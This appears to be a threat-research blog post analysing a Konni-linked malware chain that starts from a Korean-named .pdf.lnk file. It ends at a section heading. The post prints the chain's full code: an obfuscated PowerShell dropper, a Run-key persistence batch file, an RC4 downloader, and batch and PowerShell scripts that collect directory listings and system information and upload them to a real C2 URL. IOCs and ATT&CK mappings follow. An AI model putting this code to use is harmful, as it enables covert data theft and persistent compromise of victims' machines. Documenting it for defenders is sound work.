17 minute read

Introduction

I recently came across a ZIP archive containing a suspicious .lnk file with a Korean filename. That instantly caught my eye. And after digging into it, I realized this wasn’t just some random shortcut it was part of a full-blown multi-stage malware campaign that’s still active.

What’s more intriguing is that the TTPs observed in this campaign bear strong similarities to previous operations linked to DPRK’s Konni APT group.

But who is this Konni APT? The Konni APT group, active since at least 2014 and first exposed by Cisco’s Talos team in 2017, is a North Korean-linked cyberthreat actor. It primarily targets South Korean financial institutions, government, and defense sectors with sophisticated phishing campaigns.

In this blog, I’ll walk through the entire execution flow, unpack file behaviors, and highlight why this operation might be part of a broader DPRK-linked campaign. Attribution is tricky business, but there are several indicators worth calling out.

Stage 0: The ZIP File

  • Filename: No clue (just got the SHA256)
  • SHA256: 627ee714b1e4f5bd692061e1c29783191f71c10c91f14c632e405fbe57d4dd3b
  • File Type: ZIP archive
  • File Size: 3.25 MB
  • Contents: 제안서.pdf.lnk (LNK File)
  • First Seen on VT: April 11, 2025

This ZIP is the bait, hiding a single .lnk file that’s about to kick off some serious mischief.

Stage 1: LNK File

image.png

  • LNK Filename: 제안서.pdf.lnk
  • Icon: PDF
  • File Size: 4.03 MB
  • Last Modified Date: April 11, 2025

Unzip the archive, and boom—you get 제안서.pdf.lnk. That Korean word “제안서” means “proposal.” Sneaky, right? This is a classic social engineering starter. The LNK file uses a double .pdf.lnk extension, PDF file icon and a Korean name to lure non-technical users possibly targeting a Korean-speaking audience.

I ran the LECmd tool to peek at the LNK’s metadata. Check out the screenshot:

LECmd Output

  • First thing I noticed here is that It also uses SwShowMinnoactive, meaning when LNK file is executed it will open as minimized.
  • The Real Deal: The command-line arguments show what this LNK is actually up to behind the scenes.

Stage 2: PowerShell Payload

Once the .lnk file is triggered, the obfuscated PowerShell script kicks in. It’s messy at first glance—full of random variable names like $knee, $fear, $policy, $model, etc. Classic obfuscation strategy: confuse anyone manually inspecting it and dodge basic static detection. Here’s the cleaned-up PS1 code:

/c for /f "tokens=*" %f in ('dir /s /b %systemroot%\System32\WindowsPowershell\*.exe ^| findstr /i rshell.exe') do (if exist "%f" (%f "

function sister {
    param($title)
    $mystery = $title.substring(0,$title.length-4) + ''
    return $mystery
}

function trend {
    param($suppose)
    [System.IO.File]::Delete($suppose)
}

function stir {
    param($league,$mirror,$winner,$policy,$basket)
    $knee = New-Object System.IO.FileStream($league,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read)
    $knee.Seek($mirror,[System.IO.SeekOrigin]::Begin)
    $observe = $winner * 0x01
    $model = New-Object byte[] $winner
    $smooth = New-Object byte[] $observe
    $knee.Read($smooth,0,$observe)
    $knee.Close()
    $fear = 0
    while ($fear -lt $winner) {
        $model[$fear] = $smooth[$fear * 0x01] -bxor $policy
        $fear++
    }
    set-content $basket $model -Encoding Byte
}

function room {
    param($acquire, $mainly)
    expand $acquire -F:* $mainly
}

function would {
    $beauty = $env:public + '\' + 'documents'
    return $beauty
}

function similar {
    param($regulation)
    $shot = Split-Path $regulation
    return $shot
}

function researcher {
    return Get-Location
}

function reality {
    return $env:Temp
}

function suicide {
    $forth = researcher
    $deeply = vision -entrance $forth
    if ($deeply.length -eq 0) {
        $forth = reality
        $deeply = vision -entrance $forth
    }
    return $deeply
}

function chase {
    $house = $env:public + '\' + 'nearby.cab'
    return $house
}

function concentration {
    $accept = $env:public + '\documents\start.vbs'
    return $accept
}

function vision {
    param($entrance)
    $massive = ''
    [System.IO.Directory]::GetFiles($entrance, '*.lnk', [System.IO.SearchOption]::AllDirectories) |
    ForEach-Object {
        $era = [System.IO.FileInfo]::new($_)
        if ($era.Length -eq 0x00412D29) {
            $massive = $era.FullName
        }
    }
    return $massive
}

$tone = suicide
$pipe = similar -regulation $tone
$PM = sister -title $tone
stir -league $tone -mirror 0x00001F88 -winner 0x003D7292 -policy 0x71 -basket $PM
& $PM
$advise = chase
stir -league $tone -mirror 0x003D921A -winner 0x00013CCF -policy 0x70 -basket $advise
trend -suppose $tone
$east = would
room -acquire $advise -mainly $east
trend -suppose $advise
$permit = concentration
& $permit
" ) )

What’s It Doing?

The LNK uses cmd.exe with a /c switch to run a command and vanish—like a ninja. It’s got this for loop for rshell.exe in the PowerShell folder, then runs it with this massive script. Here’s the play-by-play, function by function:

  • sister: Chops off the .lnk from the file name to make the decoy PDF look legit.
  • trend: Deletes files to cover tracks (like the LNK itself).
  • stir: This is the heavy lifter. It pulls out hidden files (PDF, CAB, VBS) from the LNK, decrypts them with XOR. It’s like the malware’s playing hide-and-seek. (Big thanks to AI tools for helping me wrap my head around this!)
  • room: Unpacks a .cab archive to a folder.
  • would: Points to C:\Users\Public\Documents for dropping files.
  • similar: Grabs the parent folder of a file.
  • researcher: Gets the current directory.
  • reality: Points to the Temp folder.
  • suicide: Hunts for the .lnk by its exact size, checking the current folder or Temp.
  • chase: Names the CAB file C:\Users\Public\nearby.cab.
  • concentration: Points to C:\Users\Public\Documents\start.vbs.
  • vision: Scans for a .lnk with size 0x00412D29.

The Main Action

  1. Finds the .lnk and its folder, names the decoy PDF.
  2. Carves out the PDF from the LNK (offset 0x1F88, size 0x3D7292, XOR key 0x71) and opens it.
  3. Pulls out a CAB file (offset 0x3D921A, size 0x13CCF, XOR key 0x70).
  4. Deletes the LNK to cover tracks.
  5. Unpacks the CAB to C:\Users\Public\Documents.
  6. Deletes the CAB.
  7. Fires up start.vbs.

Quick Recap

  • .lnk is the Trojan horse.
  • Decoy PDF pops up to distract you.
  • CAB file sneaks out and unpacks.
  • VBS script takes the wheel.
  • All evidence gets trashed.

Stage 3: The Decoy PDF (제안서.pdf)

Alright, let’s talk about this decoy PDF that pops up when the LNK runs. It’s called 제안서.pdf (“Proposal” in Korean), and its job is to keep you distracted while the malware does its work in the background.

At first, it looks like a legit proposal from some outfit called JMarketing (https://jmarketing.agency/). But, it’s barely a document. No real text, just a ton of white space and this KakaoTalk Open Chat link (https://open.kakao[.]com/o/ssRLGYoh) plastered across multiple pages. Check out these screenshots:

PDF Page 1 PDF Page 2 PDF Page 3 PDF Page 4 PDF Page 5 PDF Page 6 PDF Page 7 PDF Page 8

What’s KakaoTalk?

If you’re not in South Korea, you might not know KakaoTalk. It’s the messaging app there—like WhatsApp or Telegram on steroids. Everyone uses it for texts, calls, photos, you name it. Owned by Kakao Corp, it’s a cultural staple.

That link (https://open.kakao[.]com/o/ssRLGYoh) takes you to a KakaoTalk Open Chat room. Open Chat lets you join public or semi-anonymous chats without sharing your phone number or ID. Super handy for meeting strangers or joining groups—and perfect for stuff like this.

The chat room’s called “네이버 쿠팡 온라인 스토어 전문 마케터”, which means “Naver Coupang Online Store Marketing Professional” in English. Here’s a peek at it:

KakaoTalk Chat

This PDF is straight-up trickery. Dropping Naver and Coupang in the chat name? That’s no accident. These are South Korea’s tech titans:

  • Naver: Their Google, with search, blogs, maps, shopping—everything.
  • Coupang: The Amazon of South Korea..

TLDR;

The PDF’s a fake-out, looking like a marketing proposal to keep you busy. That KakaoTalk link, tied to Naver and Coupang, is pure social engineering to pull you deeper into the scam—maybe more malware, maybe data theft. Meanwhile, the real attack’s happening behind the scenes with VBS and batch files.

Stage 4: start.vbs (The Quiet Trigger)

This VBScript, at C:\Users\Public\Documents\start.vbs, silently moe to the next stage:

set obj = GetObject("new:9BA05972-F6A8-11CF-A442-00A0C90A8F39")
set itemObj = obj.Item()
HBKQFDDzINedWTqt = Left(WScript.ScriptFullName, InstrRev(WScript.ScriptFullName, "\") - 1)
itemObj.Document.Application.ShellExecute HBKQFDDzINedWTqt & "\" & "60901024" & ".b" & "at", Null, HBKQFDDzINedWTqt, Null, 0
set obj = Nothing

What’s It Do?

  • Open up a Shell.Explorer ActiveX object (basically Internet Explorer’s engine).
  • Grabs the script’s folder path.
  • Runs 60901024.bat quietly (no console window, because of that 0).
  • Cleans up.

TL;DR: It sneakily kicks off 60901024.bat without you noticing.

Stage 5: The Batch Files

First Batch Script: 60901024.bat

@echo off
pushd "%~dp0"
if exist "57579534.bat" (
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v startsvc1 /t REG_SZ /d "%~dp0start.vbs" /f > nul
    call 57579534.bat > nul
    call 54744204.bat > nul
    del /f /q 57579534.bat > nul
)
if not exist "57579534.bat" (
    if not exist "upok.txt" (
        call 54744204.bat > nul
    )
)
if not exist "f.txt" (goto 1)
if exist "f.txt" (goto EXIT)
:1
call 54312804.bat > nul
timeout -t 57 /nobreak
if not exist "f.txt" (goto 1)
if exist "f.txt" (goto EXIT)
:EXIT
del /f /q "f.txt"
  1. Changes directory to where the script is located.
  2. If 57579534.bat exists:
    • Adds a persistence key to the Windows Registry to auto-run start.vbs on startup.
    • Executes 57579534.bat and 54744204.bat, then deletes 57579534.bat.
  3. If 57579534.bat doesn’t exist:
    • If upok.txt also doesn’t exist, it still executes 54744204.bat.
  4. Enters a loop:
    • Keeps calling 54312804.bat every ~57 seconds until f.txt is found.
    • Once f.txt is found, it deletes it and exits.

Second Batch Script: 57579534.bat

@echo off
pushd %~dp0
set fn=di3726
call 53452693.bat "https://ausbildungsbuddy.de/modules/mod_mail/inc/get.php?ra=iew&zw=lk0100" "%~dp0%fn%.zip" "1" > nul
if not exist %~dp0%fn%.zip (
    goto END1
)
set dt=1.bat
if not "%dt%"=="" (
    call unzip.exe -o -P "a0" "%~dp0%fn%.zip" > nul
    del /f /q %~dp0%fn%.zip > nul
    if exist %~dp0%dt% (
        call %~dp0%dt% > nul
    )
)
:END1
if exist %~dp0%fn%.zip (
    del /f /q %~dp0%fn%.zip > nul
)
  1. Grabs a ZIP file (di3726.zip) from ausbildungsbuddy[.]de.
  2. If it downloads, unzips it with password a0, deletes the ZIP, and runs 1.bat.
  3. Cleans up the ZIP no matter what.

The domain https://ausbildungsbuddy[.]de/ is still up.

image.png

The domain ausbildungsbuddy[.]de is associated with a legitimate German initiative called Ausbildungsbuddy, which recognizes and awards companies and students for excellence in vocational training. The website features information about past winners, events, and related content.

However, there are indications that this domain might have been compromised. A recent report from SecAI suggests that ausbildungsbuddy.de has been used to transmit information from infected hosts, indicating potential malicious activity. Here our attribution gets more stronger.

image.png

Third Batch Script: 53452693.bat (The Downloader)

@echo off
pushd %~dp0
set "tgurl=%~1"
set "md12=%~3"
if not "%md12%" == "0" (
    powershell -command "function AgDEdztLPwc{param ($sUyjrHhlKLI,$fpmGhyBZVd);$BTAikdYGnq = [System.Text.Encoding]::UTF8.GetBytes($sUyjrHhlKLI);    $qsqCcCdIRk = [System.Text.Encoding]::UTF8.GetBytes($fpmGhyBZVd);$cIakGGgWdq = New-Object byte[](256);$yfqibmGyCxfO = New-Object byte[](256);for ($KClwzWzYuUS = 0; $KClwzWzYuUS -lt 256; $KClwzWzYuUS++) {$cIakGGgWdq[$KClwzWzYuUS] = $KClwzWzYuUS;$yfqibmGyCxfO[$KClwzWzYuUS] = $qsqCcCdIRk[$KClwzWzYuUS %% $qsqCcCdIRk.Length];}$BJwZmpumfis = 0;for ($KClwzWzYuUS = 0; $KClwzWzYuUS -lt 256; $KClwzWzYuUS++) {$BJwZmpumfis = ($BJwZmpumfis + $cIakGGgWdq[$KClwzWzYuUS] + $yfqibmGyCxfO[$KClwzWzYuUS]) %% 256;$hfKcPmzfho = $cIakGGgWdq[$KClwzWzYuUS];$cIakGGgWdq[$KClwzWzYuUS] = $cIakGGgWdq[$BJwZmpumfis];$cIakGGgWdq[$BJwZmpumfis] = $hfKcPmzfho;}$emLSkKMjpc = New-Object byte[] $BTAikdYGnq.Length;$KClwzWzYuUS = 0;$BJwZmpumfis = 0;for ($OXyfStRauo = 0; $OXyfStRauo -lt $BTAikdYGnq.Length; $OXyfStRauo++) {$KClwzWzYuUS = ($KClwzWzYuUS + 1) %% 256;$BJwZmpumfis = ($BJwZmpumfis + $cIakGGgWdq[$KClwzWzYuUS]) %% 256;$hfKcPmzfho = $cIakGGgWdq[$KClwzWzYuUS];$cIakGGgWdq[$KClwzWzYuUS] = $cIakGGgWdq[$BJwZmpumfis];$cIakGGgWdq[$BJwZmpumfis] = $hfKcPmzfho;$JCHwkFZRYoU = ($cIakGGgWdq[$KClwzWzYuUS] + $cIakGGgWdq[$BJwZmpumfis]) %% 256;$emLSkKMjpc[$OXyfStRauo] = $BTAikdYGnq[$OXyfStRauo] -bxor $cIakGGgWdq[$JCHwkFZRYoU];}$lRIcClUdCG = [System.Convert]::ToBase64String($emLSkKMjpc);return $lRIcClUdCG;};$EAqsrDUfsMc = '%tgurl%';$wHVNKEIlGGw = '%~2';Add-Type -AssemblyName 'System.Web';$BoMcqUMPpEc=(Get-Date).Ticks.ToString();$fDdXHAKWolqN = $EAqsrDUfsMc.Split('?')[1];$jeGSnWlkwbSC = AgDEdztLPwc -sUyjrHhlKLI $fDdXHAKWolqN -fpmGhyBZVd $BoMcqUMPpEc;$EAqsrDUfsMc=$EAqsrDUfsMc.Split('?')[0]+'?'+$BoMcqUMPpEc+'='+[System.Web.HttpUtility]::UrlEncode($jeGSnWlkwbSC);iwr -Uri $EAqsrDUfsMc -OutFile $wHVNKEIlGGw;" > nul
)else (
    powershell -command "$url1 = '%tgurl%';$outfile = '%~2';iwr -Uri $url1 -OutFile $outfile;" > nul
)

This batch script uses PowerShell for decryption and downloading.

This downloads a file from a specified URL. If the file is encrypted, it decrypts it using a custom algorithm (RC4-like with a timestamp as the key) and then saves it. If the file is not encrypted, it simply downloads and saves it.

In most simple term its a wrapper for a downloader.

Fourth Batch Script: 54744204.bat (The Data Thief)

@echo off
pushd "%~dp0"
dir C:\Users\%username%\downloads\ /s > %~dp0d1.txt
dir C:\Users\%username%\documents\ /s > %~dp0d2.txt
dir C:\Users\%username%\desktop\ /s > %~dp0d3.txt
systeminfo > %~dp0d4.txt
timeout -t 5 /nobreak
call 33283112.bat "https://ausbildungsbuddy.de/modules/mod_mail/src/upload.php" "d1.txt" "%COMPUTERNAME%_down.txt" >nul
call 33283112.bat "https://ausbildungsbuddy.de/modules/mod_mail/src/upload.php" "d2.txt" "%COMPUTERNAME%_docu.txt" >nul
call 33283112.bat "https://ausbildungsbuddy.de/modules/mod_mail/src/upload.php" "d3.txt" "%COMPUTERNAME%_desk.txt" >nul
call 33283112.bat "https://ausbildungsbuddy.de/modules/mod_mail/src/upload.php" "d4.txt" "%COMPUTERNAME%_sys.txt" >nul

This one straight-up perform data exfiltration.

  1. pushd "%~dp0"

    → Sets working dir to where the script is located.

  2. dir ... > dX.txt

    → Dumps directory listings to files:

    • d1.txt → Lists everything in Downloads
    • d2.txt → Lists everything in Documents
    • d3.txt → Lists everything on Desktop
  3. systeminfo > d4.txt

    → Captures full system info (OS, CPU, RAM, etc.)

  4. timeout -t 5 /nobreak

    → Pauses for 5 seconds (maybe for things to complete).

  5. call 33283112.bat ...

    Uses a helper script (33283112.bat) as a file uploader to uploads each dX.txt file to a PHP upload endpoint hosted at: ausbildungsbuddy[.]de/modules/mod_mail/src/upload.php

Fifth Batch Script: 33283112.bat (The Uploader)

@echo off
pushd %~dp0
set "tgurl12=%~1"
set fN12=fn
set fD12=fd
powershell -command "function dqjQqCAcuxwo{param ($AypZvQNXlqB,$oFoEuXrMFE);$OpsMmFLPLhtK = [System.Text.Encoding]::UTF8.GetBytes($AypZvQNXlqB);    $WTCOeBCxKCA = [System.Text.Encoding]::UTF8.GetBytes($oFoEuXrMFE);$exkQgtSevvHH = New-Object byte[](256);$aFHiHiPvSyCj = New-Object byte[](256);for ($IwMAnTWddEw = 0; $IwMAnTWddEw -lt 256; $IwMAnTWddEw++) {$exkQgtSevvHH[$IwMAnTWddEw] = $IwMAnTWddEw;$aFHiHiPvSyCj[$IwMAnTWddEw] = $WTCOeBCxKCA[$IwMAnTWddEw %% $WTCOeBCxKCA.Length];}$zTrCGqDmezfE = 0;for ($IwMAnTWddEw = 0; $IwMAnTWddEw -lt 256; $IwMAnTWddEw++) {$zTrCGqDmezfE = ($zTrCGqDmezfE + $exkQgtSevvHH[$IwMAnTWddEw] + $aFHiHiPvSyCj[$IwMAnTWddEw]) %% 256;$zUGqmBHCJGBv = $exkQgtSevvHH[$IwMAnTWddEw];$exkQgtSevvHH[$IwMAnTWddEw] = $exkQgtSevvHH[$zTrCGqDmezfE];$exkQgtSevvHH[$zTrCGqDmezfE] = $zUGqmBHCJGBv;}$iFUDhaIUWPC = New-Object byte[] $OpsMmFLPLhtK.Length;$IwMAnTWddEw = 0;$zTrCGqDmezfE = 0;for ($ZBwUQRSnvRO = 0; $ZBwUQRSnvRO -lt $OpsMmFLPLhtK.Length; $ZBwUQRSnvRO++) {$IwMAnTWddEw = ($IwMAnTWddEw + 1) %% 256;$zTrCGqDmezfE = ($zTrCGqDmezfE + $exkQgtSevvHH[$IwMAnTWddEw]) %% 256;$zUGqmBHCJGBv = $exkQgtSevvHH[$IwMAnTWddEw];$exkQgtSevvHH[$IwMAnTWddEw] = $exkQgtSevvHH[$zTrCGqDmezfE];$exkQgtSevvHH[$zTrCGqDmezfE] = $zUGqmBHCJGBv;$WVKnqgCFOsmZ = ($exkQgtSevvHH[$IwMAnTWddEw] + $exkQgtSevvHH[$zTrCGqDmezfE]) %% 256;$iFUDhaIUWPC[$ZBwUQRSnvRO] = $OpsMmFLPLhtK[$ZBwUQRSnvRO] -bxor $exkQgtSevvHH[$WVKnqgCFOsmZ];}$yJmaZfkmCsIK = [System.Convert]::ToBase64String($iFUDhaIUWPC);return $yJmaZfkmCsIK;};$bWcJabpQCOOF=(Get-Date).Ticks.ToString();$JbCLXcveMq='%tgurl12%';$lXbJSrwCOBN='%~3';$aRmxzjRXbQEn='%~dp0%~2';$ldbmjzEjszem=gc -Path $aRmxzjRXbQEn -Raw | Out-String;Add-Type -AssemblyName 'System.Web';$lXbJSrwCOBN=dqjQqCAcuxwo -AypZvQNXlqB $lXbJSrwCOBN -oFoEuXrMFE $bWcJabpQCOOF;$ldbmjzEjszem=dqjQqCAcuxwo -AypZvQNXlqB $ldbmjzEjszem -oFoEuXrMFE $bWcJabpQCOOF;$mkgEkQZnuGV = [System.Web.HttpUtility]::ParseQueryString('');$mkgEkQZnuGV['%fN12%']=$lXbJSrwCOBN;$mkgEkQZnuGV['%fD12%']=$ldbmjzEjszem;$mkgEkQZnuGV['r']=$bWcJabpQCOOF;$EYHCSDhekYzP=$mkgEkQZnuGV.ToString();$FLuapLlREN=[System.Text.Encoding]::UTF8.GetBytes($EYHCSDhekYzP);$AUkaAFoqKP=[System.Net.WebRequest]::Create($JbCLXcveMq);$AUkaAFoqKP.Method='PO'+'ST';$AUkaAFoqKP.ContentType='appl'+'ic'+'ation/x'+'-ww'+'w-for'+'m-ur'+'le'+'nco'+'ded';$AUkaAFoqKP.UserAgent = 'Moz'+'illa/5'+'.0 (Wi'+'ndows N'+'T 10.0;Wi'+'n64;x64)';$AUkaAFoqKP.ContentLength=$FLuapLlREN.Length;$KcSSLPNfvFL = $AUkaAFoqKP.GetRequestStream();$KcSSLPNfvFL.Write($FLuapLlREN,0,$FLuapLlREN.Length);$KcSSLPNfvFL.Close();$OUeDTggoYiM=$AUkaAFoqKP.GetResponse();if($OUeDTggoYiM.StatusCode -eq [System.Net.HttpStatusCode]::OK){Remove-Item -Path $aRmxzjRXbQEn;$ucBwEXJQluYC='%~dp0up'+'o'+'k.t'+'xt';New-Item -ItemType File -Path $ucBwEXJQluYC;}" > nul

It uses RC4 encryption + Base64 encoding → wraps the data in x-www-form-urlencoded format → then sends it via a fake browser-like POST request to a malicious PHP endpoint.

  • Inputs & Setup:
    • Takes a target URL, filename, and encryption key from command-line arguments.
    • Loads the content of the file to exfiltrate (%~dp0%~2).
  • Encryption Function (RC4):
    • A full-on RC4-like encryption function (dqjQqCAcuxwo) is declared.
    • File content and the filename/key are encrypted using a dynamic key (timestamp-based).
  • Data Packaging:
    • Uses .NET Web and HttpUtility to URL-encode the encrypted filename + file content + timestamp.
  • Fake Legit Traffic:
    • Sets headers like User-Agent to mimic Firefox/Chrome on Windows.
    • Uses a POST request with application/x-www-form-urlencoded content-type to hide in normal web traffic.
  • Exfiltration:
    • Sends the encrypted payload to the C2 URL using WebRequest.
  • Cleanup:
    • Deletes the original file after exfil.
    • Creates a dummy file (upok.txt) to mark completion.

Sixth Batch Script: 54312804.bat

@echo off
pushd %~dp0
if exist "temprun.bat" (
    del /f /q temprun.bat
)
call 53452693.bat "https://ausbildungsbuddy.de/modules/mod_mail/src/list.php?f=%COMPUTERNAME%.txt" "%~dp0XZJln.cab" "1" > nul
expand XZJln.cab -F:* %~dp0 > nul
del /f /q XZJln.cab > nul
call temprun.bat > nul
  • Navigates to the script’s directory:
    • pushd %~dp0 ensures the script runs in its own directory.
  • Checks if temprun.bat exists and deletes it:
    • if exist "temprun.bat" ( del /f /q temprun.bat ) removes any previous instance of the temprun.bat script to ensure a clean run.
  • Downloads a file:
    • call 53452693.bat "https://ausbildungsbuddy[.]de/modules/mod_mail/src/list.php?f=%COMPUTERNAME%.txt" "%~dp0XZJln.cab" "1" > nul calls 53452693.bat (This batch file is the a wrapper for a downloader, that we had looked ealier) ,this likely downloads a .cab archive (XZJln.cab) from a remote URL, appending the machine’s name in the query parameter (%COMPUTERNAME%).
  • Extracts the .cab file:
    • expand XZJln.cab -F:* %~dp0 > nul extracts all files from the downloaded .cab file to the script’s directory.
  • Deletes the .cab file:
    • del /f /q XZJln.cab > nul removes the downloaded .cab file after extraction.
  • Executes temprun.bat:

Seventh Batch Script: temprun.bat (Another Uploader)

@echo off
pushd %~dp0
set "tgurl12=%~1"
set fN12=fn
set fD12=fd
powershell -command "function dqjQqCAcuxwo{param ($AypZvQNXlqB,$oFoEuXrMFE);$OpsMmFLPLhtK = [System.Text.Encoding]::UTF8.GetBytes($AypZvQNXlqB);    $WTCOeBCxKCA = [System.Text.Encoding]::UTF8.GetBytes($oFoEuXrMFE);$exkQgtSevvHH = New-Object byte[](256);$aFHiHiPvSyCj = New-Object byte[](256);for ($IwMAnTWddEw = 0; $IwMAnTWddEw -lt 256; $IwMAnTWddEw++) {$exkQgtSevvHH[$IwMAnTWddEw] = $IwMAnTWddEw;$aFHiHiPvSyCj[$IwMAnTWddEw] = $WTCOeBCxKCA[$IwMAnTWddEw %% $WTCOeBCxKCA.Length];}$zTrCGqDmezfE = 0;for ($IwMAnTWddEw = 0; $IwMAnTWddEw -lt 256; $IwMAnTWddEw++) {$zTrCGqDmezfE = ($zTrCGqDmezfE + $exkQgtSevvHH[$IwMAnTWddEw] + $aFHiHiPvSyCj[$IwMAnTWddEw]) %% 256;$zUGqmBHCJGBv = $exkQgtSevvHH[$IwMAnTWddEw];$exkQgtSevvHH[$IwMAnTWddEw] = $exkQgtSevvHH[$zTrCGqDmezfE];$exkQgtSevvHH[$zTrCGqDmezfE] = $zUGqmBHCJGBv;}$iFUDhaIUWPC = New-Object byte[] $OpsMmFLPLhtK.Length;$IwMAnTWddEw = 0;$zTrCGqDmezfE = 0;for ($ZBwUQRSnvRO = 0; $ZBwUQRSnvRO -lt $OpsMmFLPLhtK.Length; $ZBwUQRSnvRO++) {$IwMAnTWddEw = ($IwMAnTWddEw + 1) %% 256;$zTrCGqDmezfE = ($zTrCGqDmezfE + $exkQgtSevvHH[$IwMAnTWddEw]) %% 256;$zUGqmBHCJGBv = $exkQgtSevvHH[$IwMAnTWddEw];$exkQgtSevvHH[$IwMAnTWddEw] = $exkQgtSevvHH[$zTrCGqDmezfE];$exkQgtSevvHH[$zTrCGqDmezfE] = $zUGqmBHCJGBv;$WVKnqgCFOsmZ = ($exkQgtSevvHH[$IwMAnTWddEw] + $exkQgtSevvHH[$zTrCGqDmezfE]) %% 256;$iFUDhaIUWPC[$ZBwUQRSnvRO] = $OpsMmFLPLhtK[$ZBwUQRSnvRO] -bxor $exkQgtSevvHH[$WVKnqgCFOsmZ];}$yJmaZfkmCsIK = [System.Convert]::ToBase64String($iFUDhaIUWPC);return $yJmaZfkmCsIK;};$bWcJabpQCOOF=(Get-Date).Ticks.ToString();$JbCLXcveMq='%tgurl12%';$lXbJSrwCOBN='%~3';$aRmxzjRXbQEn='%~dp0%~2';$ldbmjzEjszem=gc -Path $aRmxzjRXbQEn -Raw | Out-String;Add-Type -AssemblyName 'System.Web';$lXbJSrwCOBN=dqjQqCAcuxwo -AypZvQNXlqB $lXbJSrwCOBN -oFoEuXrMFE $bWcJabpQCOOF;$ldbmjzEjszem=dqjQqCAcuxwo -AypZvQNXlqB $ldbmjzEjszem -oFoEuXrMFE $bWcJabpQCOOF;$mkgEkQZnuGV = [System.Web.HttpUtility]::ParseQueryString('');$mkgEkQZnuGV['%fN12%']=$lXbJSrwCOBN;$mkgEkQZnuGV['%fD12%']=$ldbmjzEjszem;$mkgEkQZnuGV['r']=$bWcJabpQCOOF;$EYHCSDhekYzP=$mkgEkQZnuGV.ToString();$FLuapLlREN=[System.Text.Encoding]::UTF8.GetBytes($EYHCSDhekYzP);$AUkaAFoqKP=[System.Net.WebRequest]::Create($JbCLXcveMq);$AUkaAFoqKP.Method='PO'+'ST';$AUkaAFoqKP.ContentType='appl'+'ic'+'ation/x'+'-ww'+'w-for'+'m-ur'+'le'+'nco'+'ded';$AUkaAFoqKP.UserAgent = 'Moz'+'illa/5'+'.0 (Wi'+'ndows N'+'T 10.0;Wi'+'n64;x64)';$AUkaAFoqKP.ContentLength=$FLuapLlREN.Length;$KcSSLPNfvFL = $AUkaAFoqKP.GetRequestStream();$KcSSLPNfvFL.Write($FLuapLlREN,0,$FLuapLlREN.Length);$KcSSLPNfvFL.Close();$OUeDTggoYiM=$AUkaAFoqKP.GetResponse();if($OUeDTggoYiM.StatusCode -eq [System.Net.HttpStatusCode]::OK){Remove-Item -Path $aRmxzjRXbQEn;$ucBwEXJQluYC='%~dp0up'+'o'+'k.t'+'xt';New-Item -ItemType File -Path $ucBwEXJQluYC;}" > nul

This one’s probably running more payloads from the CAB or uploading extra data. It’s another uploader, same vibe as 33283112.bat. Can you believe how many layers this thing has?

Infection Flowchart

Flowchart

Indicators of Compromise (IOCs)

Type Indicator Description
File Hash (SHA256) 627ee714b1e4f5bd692061e1c29783191f71c10c91f14c632e405fbe57d4dd3b ZIP archive with malicious LNK.
Filename 제안서.pdf.lnk Malicious LNK with Korean name and PDF icon.
Filename nearby.cab, start.vbs, 60901024.bat, 57579534.bat, 54744204.bat, 53452693.bat, 33283112.bat, 54312804.bat, XZJln.cab, temprun.bat Dropped files in infection chain.
URL https://ausbildungsbuddy[.]de/modules/mod_mail/inc/get.php?ra=iew&zw=lk0100 Downloads malicious ZIP (di3726.zip).
URL https://ausbildungsbuddy[.]de/modules/mod_mail/src/upload.php C2 endpoint for data exfiltration.
URL https://ausbildungsbuddy[.]de/modules/mod_mail/src/list.php?f=%COMPUTERNAME%.txt Downloads CAB archive (XZJln.cab).
URL https://open.kakao[.]com/o/ssRLGYoh KakaoTalk Open Chat link in decoy PDF.
Registry Key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\startsvc1 Persistence key for start.vbs.
File Path C:\Users\Public\Documents\start.vbs, C:\Users\Public\nearby.cab, C:\Users\Public\Documents*.bat Dropped payload locations.
File d1.txt, d2.txt, d3.txt, d4.txt, upok.txt, f.txt Temporary files for data collection/execution markers.

MITRE ATT&CK TTPs

The campaign aligns with several MITRE ATT&CK techniques, reflecting Konni APT’s sophisticated tactics:

Tactic Technique Description
Initial Access T1566.001 - Phishing: Spearphishing Attachment ZIP file with malicious LNK disguised as a Korean proposal PDF.
Execution T1059.001 - Command and Scripting Interpreter: PowerShell Obfuscated PowerShell script executes payloads from LNK file.
  T1059.003 - Command and Scripting Interpreter: Windows Command Shell Batch scripts (e.g., 60901024.bat) orchestrate execution flow.
  T1059.005 - Command and Scripting Interpreter: Visual Basic VBS script (start.vbs) executes batch files silently via ShellExecute.
Persistence T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys start.vbs added to HKCU\Software\Microsoft\Windows\CurrentVersion\Run.
Defense Evasion T1027 - Obfuscated Files or Information PowerShell uses random variable names (e.g., $knee, $fear) for obfuscation.
  T1070.004 - Indicator Removal: File Deletion Deletes LNK, CAB, and temporary files (e.g., trend function, batch cleanup).
  T1140 - Deobfuscate/Decode Files or Information XOR decryption in PowerShell (stir function) extracts PDF, CAB, and VBS.
Command and Control T1071.001 - Application Layer Protocol: Web Protocols HTTPS POST requests to C2 (ausbildungsbuddy.de) for data exfiltration.
  T1573.001 - Encrypted Channel: Symmetric Cryptography RC4-like encryption for C2 communication (dqjQqCAcuxwo function).
Collection T1005 - Data from Local System Collects directory listings (Downloads, Documents, Desktop) and system info.
Exfiltration T1041 - Exfiltration Over C2 Channel Uploads collected data to C2 via encrypted POST requests (33283112.bat).

Attribution Clues — Why This Campaign Screams DPRK

Let’s be clear: I don’t want to throw around attribution without solid backing, but if you’ve been tracking DPRK APTs, this one should hit home. When it comes to TTPs, this campaign is practically a checklist of what we see from Konni APT. Here’s the breakdown:

Social Engineering Lures: A Classic Konni APT Move

  • Korean-language filenames like 제안서 (“Proposal”)—yeah, that’s not just a random choice. It’s the kind of social engineering move that Konni APT is known for. The LNK file uses a double .pdf.lnk extension, looks like a PDF with a familiar icon, and is loaded with a Korean name. It’s a deceptive way to lure non-technical users, playing off familiarity. Konni APT’s signature move, for sure.
  • The decoy PDF is a Korean proposal for a marketing company. It’s realistic enough to seem legitimate, but we all know this is the Trojan horse. Konni APT tends to target professional environments, and this “marketing proposal” theme is a perfect fit for their playbook.
  • Here’s the kicker: Embedded KakaoTalk link. The file includes a link to a live chat with a message that says, “네이버 쿠팡 온라인 스토어 전문 마케터” (Naver Coupang Online Store Marketing Professional). Why does it matter? Naver, Coupang, and Kakao are household names in South Korea. These apps are so widely used that any local would recognize them.

TTP Overlap: The Signature Konni APT Toolkit

